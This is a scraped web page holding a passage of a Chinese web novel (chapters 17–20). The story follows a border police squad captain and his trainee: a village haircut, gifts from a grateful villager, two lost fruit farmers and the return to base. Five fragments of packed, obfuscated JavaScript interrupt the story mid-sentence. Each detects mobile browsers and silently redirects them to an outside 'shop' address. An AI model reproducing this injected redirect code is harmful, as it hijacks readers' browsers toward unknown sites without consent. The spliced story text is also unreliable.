d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164154|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小孙子就是不剪,最后急得开始甩胳膊,差点哭出来。好像每个小孩年少时都特别不爱剪头发,明明剪完之后,过几天就能习惯新发型,可剪之前就像受难似的,一定要强行留住对自己没什么用的那几根毛。 卜安齐用当地话安慰小孩,程辛苑瞥了眼旁边的赵寻越和马全全,突然想到一个办法。 “喂,过来!” 他冲着那两个人叫,并没指定叫谁,马全全先一脸惊讶地指指自己,赵寻越则根本没理他,好像因着昨晚和方才的事,赵寻越这一天情绪都不太高。 好啊,你闹小脾气是吧。程辛苑这人一向如此,别人越给他摆脸色,他越要把这人摆平,他干脆直接叫:“赵寻越,你过来。” 马全全挺意外,扭头看小伙伴,赵寻越一脸莫名其妙:“……干嘛?” “让你过来就过来,快点。” 赵寻越这会儿还没意识到什么,等走过去,程辛苑不怀好意地盯着他的脑袋说:“你这个发型吧,挺精神,但剪得并不好……” 赵寻越有点猜到他想做什么,直接怼他说:“我这是寸头,直接照着脑形剃的,你还能看出发型来?” “呵呵,说你剃得不好就是不好,坐下。” 程辛苑抖了抖理发时披在前身的那块布,赵寻越当然是拒绝的,他本来就是寸头,再剃不就要变秃子了?就算在临尘县这种“荒郊野岭”的地方,没什么他认识的人,他也不想实习结束后顶着一个和尚脑袋回市区。 可赵寻越没说出“我不”两个字,身后那小孙子就大声哭上了,他的哭声简直是撕心裂肺,肝胆俱裂。小孩往往是这样,一点小事就觉得天要崩地要裂,殊不知真正的伤心是欲哭无泪。 小孙子的哭声太大,马全全用手捂住耳朵,赵寻越没想到他哭得这么伤心,眼见小孩鼻涕、眼泪一把把往外流,最后动了恻隐之心,乖乖坐到程辛苑身前的椅子上。 这就对了臭小子,听话嘛。程辛苑心中讪笑,把大布扑到赵寻越身上,在他颈后夹了一个小夹子。 “喂喂喂,你看、你看小朋友,我现在要给你变帅哥了!” 程辛苑夸张地叫那个小孩,赵寻越立刻提醒他:“你别给我剃……” 他想说“你别给我剃秃了”,话没出口,就听见推子的嗡嗡声在脑后响起,他整个人梗住脖子不敢动了,他怕脑袋随便一动或者嘴上说点什么,程辛苑一气之下打击报复就给他剃成秃子。 赵寻越觉得程辛苑真的很像,能做出这种事情的警察中队队长。 17. 理发2 那小孙子一边掉眼泪,一边偷偷往赵寻越脑袋上瞥,他爷爷也用方言说“快看、快看”,赵寻越僵硬地挺直脊梁,一边担心自己变秃,一边做出对理发师很有信心的样子。 当他跟小孙子的目光对上时,他想尽职地露出一个强笑,结果程辛苑在后面道:“别动。” 赵寻越仿佛定住般一动不动,他感觉到程辛苑的一只手摸到他的脑袋顶。赵寻越一个大男人长到24岁,身高超过180,很少有人能摸到他的脑袋顶了,有种奇妙的感觉流过。那是一种用力的压强,赵寻越头上每一根神经都感受到那人手的力度,说不出来的古怪和微妙。 程辛苑的手掌像一顶闷热的、沉重的帽子,套在人的头上。赵寻越想,可能是那只手压迫了他的神经,还有推子一刻不停的声音,让他产生了混乱的感觉。程辛苑的手还在他脑袋顶上不停动,那种麻酥酥的压迫感包裹了赵寻越整颗脑袋,他一边希望程辛苑快点停下,别把他剃凸,一边脑神经流出混乱又放松的沉迷感,流散至整个身体。 过了一会儿,推子的声音停了,程辛苑大喊一声:“好了!” 他放下推子,拿起小海绵擦赵寻越的后颈,一下一下特别用力,有些头发渣擦不掉,程辛苑竟然张嘴对着赵寻越的脖子吹了口气。 小孙子和老爷爷还有卜安奇都看着他们,赵寻越彻底坐不住了,那口气吹得仿佛他突然被刺了一刀,但是刀口是用棉花做的,所以刺痛的突然感和刀口的绵软感同时袭来,他蹭地一下站起来:“你干什么?” 程辛苑看着他,伸手去摘围在他身上的布,赵寻越本能挡开他的手,莫名其妙地瞪着他说:“你干嘛吹我?” 程辛苑想这家伙是不是犯病啊,不就吹口气吗,怎么这么大反应,结果他发现赵寻越耳朵红了。卧槽难道后脖子是这小子的敏感带?程辛苑有点意外又有点不爽,干脆不搭理他,对哭闹的小孙子说:“小朋友你看,剪完了,怎么样?” 卜安奇在一旁哄小孩,老爷爷点头附和,小孩似乎有点动容,不再哭了,程辛苑赶紧得意地说:“真不赖是不是!” 赵寻越还没看过自己被修理后的脑袋,马全全赶紧递过小镜子。赵寻越对着镜子左照右照,胡撸胡撸脑袋,又揪揪毛渣,他现在根本不关心小孩,只关心自己。好在程辛苑虽然推了半天,只是做做样子,并没给他剃得太厉害。 “小朋友你看,我的手艺是不是挺好?”程辛苑晃着梳子逗那小孩道,“你比他帅多了,叔叔绝对给你剃得更好。” 赵寻越听完这句,心里有点不舒服。他不能跟一个小孩争风吃醋,但就是觉得程辛苑根本没对他的发型负责。赵寻越盯着镜子里的自己,也不知是在欣赏自己的新发型和脸是否搭配,还是在欣赏程辛苑给他理过的发型。 “行了吧,看够了吧?赶紧把围布摘下来。” 程辛苑不愿意惯赵寻越的臭毛病,招呼小孙子坐到面前的椅子上。老头拉着孙子的手,三催四请把他送上了椅子,小孩不哭了,脸上还挂着泪痕,一副对自己的毛发依依不舍的样子。小孩子到底为什么这么抵触剪头发,真的是世界第十一大未解之谜。 赵寻越照够了镜子,解了围布,给小孙子披在身上。他帮忙给小孩后颈夹夹子的时候,脑袋低下去,刚好在程辛苑的视线下方。程辛苑不知怎么想的,忽然奇妙地笑了,上手揉了一把他的后脑勺。 赵寻越猛地起身,带着既惊奇又古怪的神色看他,可程辛苑乐呵呵地说:“嘿,还别说,真的挺好!” 赵寻越准备好的、就要脱口而出的“你以后别碰我脑袋”,倏地戛然而止。程辛苑笑得特别自然,仿佛真的在欣赏他的脸,真挚又单纯。赵寻越发现,程辛苑不装逼、不摆架子、不特意耍酷时,长相特别显小,而这一路以来,赵寻越发现了这个人点点滴滴的优点、成熟和善良,这些特质跟眼前十分“嫩”的中队队长不可分割地融成一个人,赵寻越心中荡着的愤怒和无奈就化开了。 “行了起开吧,我要给他剪头发了。” 程辛苑推推他,赵寻越沉默地往后退,跟马全全站到一起。马全全看他闷不做声,以为他不喜欢这个发型生气了,小声安慰道:“……我也觉得挺好的。” “……嗯。” 赵寻越闷哼了一声,他没生气,他盯着程辛苑给小孩剪头的背影想,那个人是说他剪头发的手艺挺好,还是说剪完头发以后的赵寻越挺好呢? 这也是两个问题呀。 等程辛苑秀剪完,那小孙子没说谢谢也没再哭,他爷爷挺高兴,揉着孙子的脑袋。程辛苑替他们开心,因为在穷乡僻壤的马沟乡,理发的钱就是一顿早餐,他替他们省了早饭钱,还避免长头发的卫生、疾病等问题。 收拾好东西准备走的时候,院子里忽然来了一个大婶,大婶提着一袋鸡蛋和新鲜蔬菜,好奇地目光扫过三个穿警服的人,然后操着方言跟卜安奇说话。 程辛苑等三人看着大婶,卜安奇翻译道:“小程,是这样。上次曹冲带队下乡时,有个警校实习生一起来了,他回去以后每月都给这家人打钱过来,这大婶问,他怎么没来?” “她说的,是小谢吧?” 马全全首先插话,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164155|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻越不明所以地看着他们,程辛苑点点头:“我记得那个孩子,是个挺好的小孩,不过他最后没选择留在我们中队。” 那大婶又说了些什么,卜安奇翻译道:“那个警校生给他们家打钱,主要是帮扶他们家的小孩上学。他们家一共三个孩子,一个在初中,还是义务教育,另外两个都在县里上高中。上次下乡,那个警校生听说他们家两个上高中的娃子,没钱买车票回家,要走两天两夜才能回来乡里,两只脚都是泥,路上就吃馒头、喝凉水,那警校生心善,回去以后每月给她家汇款。大婶今天听说警队来了,特意带着东西想感谢一下。” 赵寻越听到这种故事心里又一阵发酸,盯着那个质朴的大婶看。程辛苑想了想道:“卜哥,你跟他说,那个警校生被调回城里了,以后可能不会来了。阿姨的心意我们收下了,东西就拿回去吧。” “好。” 卜安奇给大婶翻译时,马全全还说了声“谢谢“,赵寻越盯着大婶提的鸡蛋和蔬菜,看了很久。 卜安奇翻译完,那大婶有些着急,又说了好多,然后就把提的东西往程辛苑手里塞。 “哎,这个……” 程辛苑不好意思接,卜安奇道:“大婶说东西给不了那个警察,给你们也是一样的。那个警校生给她孩子寄了好多钱,还有学习用品,这点东西根本不算什么。” “可是……” 程辛苑还欲推脱,卜安奇又叫了声“小程”道:“你收下吧,一点心意。阿姨大老远提过来,你带给曹冲他们也好,让他们看到,这里有人在感谢他们,他们做的事不是白做。” 那大婶应和着点头,反正就是要把东西送到。他们一行人接下来还要去别的人家,不方便耽误时间,程辛苑最终接过东西:“好吧。” 他拿过那袋鸡蛋和蔬菜,大婶脸上的表情一下就晴朗了,还给他比大拇指。马全全有眼力见地主动帮忙提东西,程辛苑对卜安奇说:“卜哥,帮我翻译一下吧。阿姨得到的帮助和那些钱,实际上不算我们中队的,这些东西我们收下有愧。但我保证,我们一定尽力做好自己的事,不辜负阿姨的心意。” “好。” 卜安奇听完先自己点了点头,又给大婶翻译。大婶听懂后就真挚地笑,然后用普通话说了个“好”字。 程辛苑说得话很真诚,不见往日的嘚瑟和调皮。赵寻越很少见他这种状态,盯着他有点出神。只见大婶说完“好”字后,程辛苑忽然立正,没对着卜安奇,而是对着大婶,举起右手直接说: “阿姨,谢谢您,我代表边境中队,给您敬礼。” 18. 路遇1 第二天工作结束后,紧接着第三天的任务,是去当地唯一的初中开展扫黑除恶宣讲。宣讲分为两部分,一是给学校捐赠学习用品,二是讲解“扫黑除恶专项斗争”的知识,主讲人嘛,自然是队长程辛苑。 那天在初中发完学习用品,赵寻越就和马全全还有一众学生坐在台下,开始听程辛苑宣讲。程辛苑这人挺适合演说的,跟那些年纪大的官员比起来,他还年轻,接地气,讲的内容也不是空话、套话,偶尔还会跟学生们逗几句。 校园里的扫黑除恶,听起来好像很遥远,其实内容包括校园暴力、校园犯罪、以及自我保护等等。程辛苑讲了半个下午,口干舌燥,结束后卜安奇把他们送回招待所,几个人简单吃了饭。 吃完马全全提议想去乡里走走。他们来的天数少,每天又有好多事情,根本来不及逛逛,以往最爱“社交活动”的程辛苑却拒绝了。他说今天太累,明天还要开车返程,让两个年轻人去逛,自己回屋睡觉。 赵寻越听到这顿了一下,等马全全再问他时,他也拒绝说不想去,最后卜安奇说自己晚上回家,可以顺路陪陪小马。 四个人分了两路,程辛苑和赵寻越两人上楼回屋,程辛苑有意无意地问:“你干嘛不跟小马去,你不也是第一次来吗。” 他心里留了一句话没问出来。马全全是边境中队的正式警员,赵寻越只是实习,小马以后还有机会再来,赵寻越就说不定了。 程辛苑私心希望每个实习的好警员都能留在临尘县,但就像之前走的小谢一样,这些年轻警员善良、有能力、有责任心,他们的优秀注定使他们很少选择临尘县。程辛苑心中默认,赵寻越不会留下,所以他想让赵寻越在马沟乡的最后一晚到处走走,留个念想。 可赵寻越很公事公办地说:“我想收拾一下行李……早点休息。” “嘿,你今天都干什么了,还累了?体力不行啊小同学。” 赵寻越瞥了他一眼,没回话。 第二天早上起来,三人拉着行李箱退房,卜安奇来招待所跟他们一起吃早饭,顺便送他们。把行李装车时,卜安奇很真诚地感谢了赵寻越和马全全。 “小程我们很熟了,这两位新警员,谢谢你们了。”卜安奇笑得质朴,“每次边境中队来,都帮助我们很多,这边条件不是很好,让你们受苦了。” “您别这么说卜哥!这几天吃的、住的我觉得都挺好的。” 马全全懂事又单纯,还说从队长那里听了卜安奇的一心为村民的事迹,很受感动。赵寻越望着他们,心中也有感慨,面上却不大会说,程辛苑冲他清清嗓子,还拍了他一下。 “嗯?” “愣着干什么?”程辛苑凑到他耳边小声叫,“你是哑巴吗。” 赵寻越说不出一大套客气话来,除了一些特别有亲近感的人以外,他跟生人接触时,自我封闭的状态很强,需要长时间的接触、了解之后,才能慢慢熟悉。 但他这一趟着实学到很多,他觉得应该跟卜安奇说句“谢谢”,跟马沟乡所有朴实的乡民说句“谢谢”。 于是他伸出手,对卜安奇道:“卜哥,真的谢谢您。” 赵寻越这一叫显得有点正式,而且不光言语,他的表情也十分正式,仿佛真的像程辛苑预料般,把这趟行程当成他人生中的最后一次。他再也不会来马沟乡,再也不会见到卜安奇,再也不会见到汶川死者的父亲,和不爱剪头发的小男孩。 人的一生都是在与缘分浅显的人,匆匆相识,再匆匆道别。 卜安奇也明白,边境中队下乡活动时,偶尔会带一些警校实习生,这些人来过一次便再不会再见到他们的身影。人生而为自己,无可厚非,卜安奇很感谢这些人,比如之前的警校生小谢,这些人虽然走了,但还把善念留在了这里。 卜安奇握住了赵寻越的那只手说:“客气了小伙子,辛苦你们。” 他用鼓励的眼神看看赵寻越,然后对程辛苑说:“出发吧小程,回去代我像小司、曹冲他们问好。” “行,我们走了,等到了警队给你发信息。” “好好,路上注意安全。” 卜安奇离开后,三人准备上车,赵寻越忽然说:“我想开一段路,可以吗?” “你?”程辛苑一只手打开驾驶席的车门,颇为意外地看着他。 “嗯,我想开会儿。”赵寻越说,“我昨晚研究了一下路线,出村这段路并不难开,按导航走的话我觉得我可以。” 程辛苑打量着他,想起昨晚的情况。赵寻越怕他拒绝,又补充道:“如果路上有难走的路,你不放心,可以换你来开。” 程辛苑有些犹豫,赵寻越究竟是善解人意,真的愿意替他辛苦开车,还是自己为了逞强过车瘾,故意要在乡间小路开车。 这时反而是马全全不放心地问:“你真的行吗?” “我可以。” 赵寻越说得斩钉截铁,不容一丝反驳,程辛苑反而笑了。赵寻越的口气,真的很像他刚来的那个雨夜,跟程辛苑主动申请外出执勤帮忙,当时他的“小伙伴”卫琛平就不想去,这会儿估计小马也不想让他开车。 好巧啊,这个臭屁的警校生,总是或有或无地“损害”他的小伙伴,以此来帮助程辛苑。程辛苑不知有什么好得意的,反正他表情轻松地笑了,松开驾驶席的车门说:“好吧,你开——小马,你坐后排。” 三人重新上车,赵寻越开车,程辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164156|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苑坐副驾驶,马全全坐后排。赵寻越调出导航,把手机插在架子上,程辛苑拿出来之前曹冲给的地图说:“山里有时没信号,我给你看着地图。” “好。” “小马你也系上安全带,咱们体验一下专业车手的驾驶技术。哈哈,出发吧。” 他说完自顾笑了,赵寻越有点奇怪地看他,感觉程辛苑心情特别好。 赵寻越毕竟对山路不熟,开得比较慢,但还算稳。程辛苑在副驾驶观察,觉得这家伙有两把刷子,到山路时问他要不要换,赵寻越说还可以继续,程辛苑就没坚持。 开过第一段山路后,三个人下来休息。马全全夸赵寻越勇敢,程辛苑就督促他回队后赶紧练车,别指望一个实习警校生替他开车。赵寻越一听这话,眼光暗了一圈,他有点猜到程辛苑的意思,但没敢表示什么。 马全全正表着忠心,表示回去以后也要练车,身后突然响起喇叭声,一辆五菱荣光的小货车,载着东西停到他们后方,车上的司机摇下车窗向他们喊话。 他们三人都穿着警服,货车司机可能是有事求助。程辛苑警惕性很高,他先让赵寻越上车,然后带着马全全向小货车走过去。他停在车门前,让马全全去看后车厢上的东西。 车里有两个男人,农民打扮,一个穿着朴素的灰上衣坐在驾驶席,另一个年纪小一些,穿着迷彩外套。 “怎么了?”程辛苑问。 “你们是警察吧?”穿灰上衣的人扒着车窗问,听口音不是左城人。 “对啊,你们什么情况?” “太好了太好了,有警察帮忙了!” 穿迷彩外套的男人好像终于找到了救星,还拍拍手,灰外衣男人也高兴地说:“是这样警察同志,我们是从Y省过来的,想去马沟乡。你知道怎么走吗?我们想过去送水果。” Y省是与左城接壤的省份。程辛苑观察着他们的扮相和神态,这时马全全过来说:“队长,车厢里都是水果,还有一些蔬菜。” 灰外衣男子道:“是的是的,我们是Y省的果农,今年收的水果特别好,又多,想给送过来一些。可是导航没信号了,我们绕了一点路发现又开回来了。” “你们是去马沟乡卖的?”程辛苑问。 “不是!”迷彩外套的年轻男人说,“我跟我哥是送过去,送到扶贫站点的。有个宣传委还是什么的,叫卜哥,我们之前也给送去过。不挣钱,就是帮助一下。” “卜安齐?” “对对,就是这个人。”灰外衣农民说。 “我知道了,你们等下。” 程辛苑依然没放心,边境乡镇因为物资缺乏,经常有一些水果、蔬菜或者肉制品的倒卖案件。 19. 路遇2 程辛苑给卜安齐打电话,又要了两个果农的身份证,核实完身份信息后才放心。 “行,辛苦你们了。”程辛苑终于放下戒备态度,友好地说,“我们刚从马沟乡出来,这段山路时常没信号,我有地图,我们带你们开一段,你们跟着。” “好嘞好嘞,谢谢警察同志!” 灰衣服男子和弟弟都很高兴,程辛苑跟马全全说了几句,然后自己往警车那边走。赵寻越一直在观望他们,等程辛苑一过来就问:“什么情况,他们是谁?” 程辛苑张嘴就来:“两个雷锋,哈哈。辛苦你了小同志,你坐过去吧我来开,咱们得往回开一段路。” “谁?雷锋?” 赵寻越本来有些紧张,荒郊野岭遇到一辆不知来历的货车,总感觉不是好情况,可程辛苑这个时候还有心思调笑,他真觉得自己帮程辛苑开车是好心喂了狗。 “两个好人啦。”程辛苑占了赵寻越的驾驶席道,“给马沟乡义务送水果的果农,在山里迷路了,咱们给他们带一段路。” 他说完系上安全带,冲车外的马全全喊了一声,然后开始倒车。 “你问过他们身份了,是真的果农?” 赵寻越坐在副驾驶上,一边问一边扭过头帮程辛苑看后面的路况。程辛苑盯着后车窗,没看赵寻越,笑着说:“哟,挺严谨啊。你以为我是实习警察吗,我当然核实过了。” 这个人说话真的处处暗讽,赵寻越很想怼他,但正过脸时,发现自己和程辛苑的距离超级近,近到能看清他眼睛上的睫毛。这么近的距离,赵寻越不仅想怼他,还想冲他吹口气,吓吓他。 可就在他准备吸气时,程辛苑突然敏锐地瞥向他,眼中透着看穿一切的锐利的光。他们以前不是没有四目相对过,但此刻距离太近,赵寻越吸的那口气登时憋住,他全身上下感到一阵怪异,连路况都不看了,猛地坐正身子。 程辛苑没顾得上他的古怪举动,听着车外马全全的“往后倒、再倒”的指示,把警车掉了个头。 “小马,上车——” 马全全跑上车,程辛苑又对后面的果农喊:“喂,我开得慢一点,你们注意安全跟上。” 后面的司机喊“好的”,程辛苑看了眼手机上的时间,心中快速算了一下,踩下油门往回开。 赵寻越坐在副驾驶上整顿了情绪,也不知刚才哪来的一阵奇异的感觉。他问程辛苑:“我们要把他们送到哪里?” 由于赵寻越开车慢,回程用的时间久,这会儿又往回走,他担心回临尘县的时间不够。这种山路绝对不敢晚上开,那么他们三人会不会今晚还住在马沟乡?如果还住在马沟乡,他是不是就能有机会去乡里转转?如果出去转转,程辛苑会不会也一起…… “过了这座山吧。”程辛苑打破了赵寻越漫无目的的瞎想,“大山里经常没信号,这段路很绕,岔路多,外人如果不经常来,迷路很正常。” 哦,那就是今晚不会再住马沟乡的意思,赵寻越只听了前半句。 “你看,我说什么来着。”程辛苑有点小得意,瞥了赵寻越一眼。 “嗯?” “我不是跟你讲吗,总会人通过什么途径知道这里,然后帮助这里,这就是我们来下乡的意义。” 赵寻越初来马沟乡时,看到这里疾苦的生活,倍感难受。他认为凭自身能力,无法改变这悲苦的现状,可当时程辛苑说,他带这些新人来的目的,不是让他们自怨自艾。众生疾苦,但希望不灭,程辛苑的初衷是把希望带到马沟乡,比如没留在临尘县依然帮助他人的小谢,比如无偿送水果的果农,这些人都在尽自己的努力帮助这里。 赵寻越没回话,他不想让程辛苑得意。他转头看着窗外,山路上有树有草,还有一缕阳光。他想到以前看过的电影,主人公会把手伸出去抓阳光。 阳光跟希望一样,都是只能看到却抓不到的东西,但阳光普照大地,让万物生长,就像希望让人拥有勇气,改变现状。 希望是改变的开始。 程辛苑到底还是“老司机”,很快绕出了大山,出了山路他停好车,用手机把曹冲给的那份地图拍了照片,然后拿着地图下车。赵寻越坐在副驾驶上,半开着车门,目光始终追随着那人。 程辛苑走到后车,对两个果农说:“辛苦你们了。顺着前面这条路走就没有大山了,应该全程都有信号,你们慢慢开过去就行。我们还得回临尘县,不能给你们带路了,以防万一,这个地图你们拿着。” 穿灰外衣的果农忙问:“哎这个……那你们怎么办啊?” “我拍下来了,不用担心。” 程辛苑直接伸手,把地图放到他们手上,灰外衣男子感激地说:“真的谢谢你啊,要不然我和我弟还在大山里绕路呢。” “我应该做的,没什么。” “真的警察叔……哈,哥哥。”迷彩外套的年轻男子笑着说,“真的谢谢你们!” 程辛苑也笑了,他可不是赵寻越那个臭屁小孩,叫他叔叔或者哥哥都无所谓。称呼只是一种对外在的表示,最重要的是明白自己是谁、在什么位置,以及要干什么。 他要做的是,扶危济困,无愧于心。 程辛苑往后退了半步,然后立正,用右手敬了一个礼说:“临尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164157|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县,也感谢你们。” 在他身后把着车门的赵寻越,是短短几天内第二次看到那人敬礼。程辛苑又跟果农说了几句,然后跟他们摆摆手,向警车走来。赵寻越登时转身,装作看前方的样子,余光一直在瞄右视镜。右视镜里,程辛苑的身影一点点在变大,赵寻越瞄着程辛苑的脸、他的身板、他晃动的手,甚至听到程辛苑踩在土地上的碎石头的声音。 赵寻越一直觉得程辛苑长得显小,不像28岁的男人。像个与赵寻越同龄的,孑然一身、良善又志高的少年。 程辛苑上车后,赵寻越问他“换我开吗”,程辛苑说“我来”,赵寻越刚反驳了一个“我”字,程辛苑就对后排的马全全说:“小马,你发信息问问迁业,他们那边什么情况。” “好的。” 马全全掏出手机,赵寻越的话就堵住没说。他只想减轻程辛苑的负担,根本忘了临尘县还在进行另一项任务——高考执勤。赵寻越完全忘记这件事,这几天他的心思只在马沟乡、在这些村民身上,他身边只有程辛苑和马全全,他甚至忘了边境中队的其他人。可程辛苑就不一样了,他除了带队下乡,他还是中队队长,他要想、要顾虑、要协调的事情,肯定比看上去的多。 “这会儿下午场考试还没开始,迁业应该有时间回复,如果他没回就别再发了。” “嗯嗯。” 马全全刚发完信息,司迁业很快回复了。 “副队长说一切顺利,问咱们什么时候到中队?” “不好估计。他一切顺利就行,你让他安心执勤吧,不给他发了。”程辛苑道。 “好的。” 程辛苑认真开车没再说话,开车速度比之前赵寻越开的时候提升了很多。赵寻越瞥着迈表,心里想着什么,也没吭声。 下午将近五点,一行人终于回到临尘县的边境中队。车子开进警队大门,程辛苑没熄火,对下车的马全全喊: “小马,跟食堂师傅说,晚上大家一起聚餐,做顿好的。” “好的。” 赵寻越正要解开安全带,程辛苑道:“您帮我把行李拿到宿舍,我不下车了。” “你干嘛去?” “我去看看迁业他们。这一趟你们辛苦,去休息吧。” 赵寻越理智上理解程辛苑的工作,理解他心系司迁业,理解他业务繁忙,可情绪上突然有一丝抵触。司迁业是他的副队长,可自己也是程辛苑的带教学生啊。赵寻越非常缓慢地解开安全带,似乎拖延这点时间,能多跟程辛苑待一会儿似的。他们回到中队的时间本来就不早,程辛苑有点着急,催他说:“快点下去。” 20. 感谢你们1 程辛苑一直是个变脸大户,前一秒客气地说“辛苦你”,下一秒心里就在叫“赶紧滚”。赵寻越下了车,刚关上车门,程辛苑立即原地掉头,火速开出警队大院。 发动机的声音在耳边响嗡嗡地响,赵寻越看着警车离开,不知为什么心里有点……失落? 嗯? 赵寻越冲着院门的方向站了一会儿,看着那辆警车消失在视野,直到马全全叫他的名字,他才拉着两个行李箱往宿舍走,到底没想明白为什么会失落。 同屋的卫琛平去执勤了,赵寻越一进屋就立刻躺倒在床,睁着眼睛望着窗户。时间临近下午五点,他没开灯,屋里仅有窗户照进来的、不亮的光线,视线顺着光线下移,就发现那一点明亮刚好打在程辛苑的行李箱上。 赵寻越进门时,把两个箱子随便立在门口。两个箱子之间隔了一点点距离,赵寻越的行李箱刚好就在暗影中,只有程辛苑的箱子上有亮光,仿佛是被上帝选召的、被垂青的、被需要的一个箱子。 赵寻越觉得不爽,他没起身,蹭着床铺、两肩用劲,往下移身子。等快够到行李箱时,他抬起一条腿,脚冲着自己的行李箱轻轻一蹬,就看轱辘滑了一小段距离,他的箱子靠住了程辛苑的行李箱,两个箱子一起沐浴了亮光。 赵寻越这下满意了,也不能说是喜悦,但总归心中那点难耐的感受得到了纾解。他再蹭回床头,盯着两个箱子看,看着看着困意来袭,睡着了。 他再醒来是被屋外的动静吵醒的。大院里突然传来很多车声、人声,应该是执勤队伍回来了。赵寻越坐起身,窗外天色全黑,黑透的窗户射进来外面警车车灯的亮彩,他坐在床上缓了一会儿,然后起身刚把屋门打开一点,就听见马全全兴奋的声音叫道:“谁呀,谁被表白了?” 赵寻越一愣,站在原地,手还把着门,没走出宿舍。 “哈哈哈,你们司副队长,被女学生表白了。”说这话的是程辛苑,伴着他标志性的开朗的笑声。 “真的?真的吗副队长!” 马全全又惊又喜,司迁业可能有点不好意思,让马全全小点声,结果曹冲笑说:“嗨,咱们副队长这么温柔体贴、大方善良,那必须是桃花朵朵开啊。跟某人不能比呀,是不是程大队长?” 他挑了个眉毛,程辛苑半逗半怒地回他“滚”。马全全好奇地问对方是什么样的学生,曹冲心直口就说:“这次高考的学生,我看那小姑娘应该盯着迁业好几天了,最后一场考完了,终于鼓起勇气过来送情书了。” “哈,还有情书吗?这么勇敢的!” 马全全简直不知道替自家副队长开心多一点,还是羡慕多一点,总之声音里透着很多喜悦。结果反被程辛苑打趣:“我说小全全,你是不是想去高考执勤,就等着看漂亮小妹妹呢。” “我没有!我怎么会!” 马全全鼓起脸很认真地反驳,程辛苑和曹冲笑作一团,司迁业赶紧劝:“好了好了,你们别欺负他。不是说晚上聚餐吗,快收拾一下吃饭吧。” “对对,我去跟食堂师傅说开饭~” 马全全最先跑走了。在宿舍里没出来的赵寻越,听着剩下那三人欢声笑语地说着话,他们也往宿舍这边过来,声音越来越大,赵寻越立即退后半步,关上了宿舍的门。 赵寻越站在门口,不知在想什么,屋里一片黑暗,他什么都看不清。忽然门外传来脚步声,好像是卫琛平回来了,赵寻越还听见曹冲还对他说“小卫辛苦了”。 “嗯,没事。” 卫琛平点推门进屋,发现黑暗里的赵寻越吓了一跳:“哎?你在屋子里呢?” “……嗯。” “怎么不开灯?” 卫琛平开了灯,两人对视了一眼,仅仅五天没见,他们并没有“完成重大任务般脱胎换骨的变化”,确认了一下对方还是那个不熟又不生的舍友,双方好像都安了心。 “他们要去吃饭了,你先去吧。”卫琛平说。 “……好。” 赵寻越没等卫琛平,自己出了宿舍。警队大院里是陆续回来的警员,大家结束了重要的任务,说说笑笑。赵寻越看着这些人想,程辛苑在马沟乡单独带自己和马全全时,还像个正经的“警察叔叔”,敬礼的时候还算有气质,可一回到边境中队,遇到司迁业和曹冲等人,他就自然又松散,连小可爱马全全都不放过调戏。赵寻越也分不清,他是认可程辛苑正直的样子,还是羡慕他跟队友在一起时的轻松自在。 赵寻越这个警校实习生,对于程辛苑这个边境中队的队长来说,可能始终是个外人。 ============ 程辛苑安排晚饭聚餐,是犒劳执勤的兄弟们。虽然他带两个新人下乡辛苦,但留在临尘县的队友们也不轻松。高考是全社会关注的中心,是重点安全保证期,牵动着每家每户,执勤人员一刻都不能放松,他们是对考生和家长负责,更是对国家的未来负责。 晚饭时,程辛苑、司迁业、曹冲和几个老队员坐一桌,赵寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164158|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越、马全全和卫琛平等年轻人坐另一桌。每个桌上都摆了酒,开饭之前,程辛苑起身环视所有人道:“咱们晚上还有人值班,所以开饭前我先说几句。” 